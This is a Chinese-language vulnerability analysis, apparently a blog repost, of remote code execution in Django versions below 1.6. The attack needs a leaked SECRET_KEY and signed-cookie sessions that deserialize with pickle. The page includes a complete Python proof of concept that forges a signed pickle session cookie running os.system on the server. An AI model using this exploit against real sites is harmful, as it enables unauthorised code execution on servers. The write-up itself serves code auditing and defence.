当前位置: 首页 > news >正文

Django任意代码执行0day漏洞分析

从Django的SECTET_KEY到代码执行。Django是一个可以用于快速搭建高性能,优雅的网站的平台,由Python写成。

采用了MVC的软件设计模式,即模型M、视图V和控制器C。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS(内容管理系统)软件。并于2005年7月在BSD许可证下发布。

最近在进行网站代码审查的过程中,发现某些产品由于session使用不当,导致可能被攻击者利用,执行任意代码。这些产品在登录的JS代码中,泄露了SECRET_KEY,将该值作为密码加密的盐,这样就暴露了加密salt不太好吧,更重要的是对django的安全造成了极大的威胁。

1、SECRET_KEY作用

SECTET_KEY在djanog中使用非常广泛,基本上涉及到安全,加密等的地方都用到了,下面列举一些常见情景: 

1.json object的签名
2.加密函数,如密码重置,表单,评论,csrf的key,session数据

这里面就要重点讲到session的问题,在这里使用不当就会导致代码执行。

2、代码执行

2.1 settings的session设置

django默认存储session到数据库中,但是可能会比较慢,就会使用到缓存,文件,还有cookie等方式,如果采用了cookie机制则有可能代码执行,settings配置如下:

SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'

2.2 django 1.6以下

在django1.6以下,session默认是采用pickle执行序列号操作,在1.6及以上版本默认采用json序列化。代码执行只存在于使用pickle序列话的操作中。

2.3 session处理流程

可以简单的分为两部分,process_request和process_response,前者负责选择session引擎,初始化cookie数据。见代码:

class SessionMiddleware(object):
    def process_request(self, request):
        engine = import_module(settings.SESSION_ENGINE)
        session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME, None)

process_response则是处理返回给用户的cookie信息,比如修改过期时间等。在将session存入缓存后,可能在某个操作中会用到session信息,这个时候就会通过反序列化操作从缓存中取,如果反序列话引擎是采用pickle机制的话就存在代码执行。反序列化的代码位于django.core.signing.py中,这个模块主要是一些签名,加解密操作,同时也包含序列化和反序列化,默认采用JSON引擎,下面是反序列话loads的代码:

def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
    """
    Reverse of dumps(), raises BadSignature if signature fails
    """
    base64d = smart_str(
        TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))
    decompress = False
    if base64d[0] == '.':
        # It's compressed; uncompress it first
        base64d = base64d[1:]
        decompress = True
    data = b64_decode(base64d)
    if decompress:
        data = zlib.decompress(data)
    return serializer().loads(data)

2.4 构造POC

import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
class Run(object):
    def __reduce__(self):
        return (os.system,('touch /tmp/xxlegend.log',))
sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
print sess
import urllib2
import cookielib

url = 'http://10.24.35.228:8000/favicon.ico'
headers = {'Cookie':'sessionid="%s"' %(sess)}
request = urllib2.Request(url,headers = headers)
response = urllib2.urlopen(request)
print response.read()

通过序列化Run类,实现创建一个文件的操作,在反序列化的时候执行这个操作。执行代码完成可看到在/tmp目录创建xxlegend.log文件,同时web报500错误。

总结

利用条件总结起来就是这么几句话,首先泄露了SECRET_KEY,其次session引擎采用了signed_cookies,django版本小于1.6即存在代码执行问题。同样的问题也存在于python的其他web框架中,如flask,bottle。

转自:https://www.freebuf.com/vuls/77591.html

相关文章:

  • 【漏洞学习——文件上传】百度Ueditor Django版任意文件上传可Shell
  • python和django的目录遍历漏洞(任意文件读取)
  • 【技术分享】Python安全 - 从SSRF到命令执行惨案
  • 【技术分享】python web 安全总结
  • Django CSRF Bypass 漏洞分析(CVE-2016-7401)
  • Python安全编码与代码审计
  • Cobra-White 白盒源代码审计工具-白帽子版
  • python动态代码审计
  • 【技术分享】关于Python漏洞挖掘那些不得不提的事儿
  • python 代码审计之-命令执行漏洞
  • REST API安全设计指南
  • Restful API设计指南
  • 从Django的SECTET_KEY到代码执行
  • 偷懒必备-不想工作的时候打开网页F11就好
  • 智能合约审计系列————2、权限隐患条件竞争
  • hexo+github搭建个人博客
  • “Material Design”设计规范在 ComponentOne For WinForm 的全新尝试!
  • Android框架之Volley
  • Electron入门介绍
  • JavaScript-Array类型
  • SQLServer插入数据
  • 后端_ThinkPHP5
  • 计算机在识别图像时“看到”了什么?
  • 技术胖1-4季视频复习— (看视频笔记)
  • 快速构建spring-cloud+sleuth+rabbit+ zipkin+es+kibana+grafana日志跟踪平台
  • 爬虫模拟登陆 SegmentFault
  • 让你的分享飞起来——极光推出社会化分享组件
  • 思考 CSS 架构
  • 硬币翻转问题,区间操作
  • Redis4.x新特性 -- 萌萌的MEMORY DOCTOR
  • 支付宝花15年解决的这个问题,顶得上做出十个支付宝 ...
  • ​Base64转换成图片,android studio build乱码,找不到okio.ByteString接腾讯人脸识别
  • ​人工智能书单(数学基础篇)
  • ​软考-高级-系统架构设计师教程(清华第2版)【第9章 软件可靠性基础知识(P320~344)-思维导图】​
  • #define 用法
  • (1)Nginx简介和安装教程
  • (1)安装hadoop之虚拟机准备(配置IP与主机名)
  • (4)logging(日志模块)
  • (java)关于Thread的挂起和恢复
  • (二)WCF的Binding模型
  • (附源码)基于SSM多源异构数据关联技术构建智能校园-计算机毕设 64366
  • (剑指Offer)面试题41:和为s的连续正数序列
  • (算法)求1到1亿间的质数或素数
  • (图)IntelliTrace Tools 跟踪云端程序
  • (一) storm的集群安装与配置
  • (转)http-server应用
  • (转)Oracle 9i 数据库设计指引全集(1)
  • (转)Sql Server 保留几位小数的两种做法
  • (转载)从 Java 代码到 Java 堆
  • .bat批处理(十):从路径字符串中截取盘符、文件名、后缀名等信息
  • .NET 4 并行(多核)“.NET研究”编程系列之二 从Task开始
  • .net core 源码_ASP.NET Core之Identity源码学习
  • .NET Project Open Day(2011.11.13)
  • .Net 应用中使用dot trace进行性能诊断
  • .NET 中使用 Mutex 进行跨越进程边界的同步